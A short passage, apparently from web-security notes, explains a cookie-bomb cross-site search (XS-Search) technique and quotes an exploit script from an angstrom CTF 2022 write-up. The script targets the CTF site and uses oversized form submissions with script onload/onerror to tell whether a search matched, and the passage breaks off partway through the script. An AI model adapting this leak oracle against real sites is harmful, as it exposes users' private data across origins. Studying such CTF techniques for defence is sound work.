The following **script** taken from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) is exploiting a functionality that allows the user to **insert any amount of cookies**, and then loading a file as a script knowing that the true response will be larger than the false one and then. If successful, the response is a redirect with a resulting URL longer, **too large to handle by the server so return an error http status code**. If the search fails, nothing will happen because URL is short.

```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
    const $ = document.querySelector.bind(document);
    const sleep = (ms) => new Promise(r => setTimeout(r, ms));
    let i = 0;
    const stuff = async (len=3500) => {
        let name = Math.random();
        $("form").target = name;
        let w = window.open('', name);
        $("#f").value = "_".repeat(len);
        $("#f").name = i++;
        $("form").submit();
        await sleep(100);
    };
    const isError = async (url) => {
        return new Promise(r => {
            let script = document.createElement('script');
            script.src = url;
            script.onload = () => r(false);
            script.onerror = () => r(true);
            document.head.appendChild(script);
        });
    }
    const search = (query) => {
        return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
    };
    const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
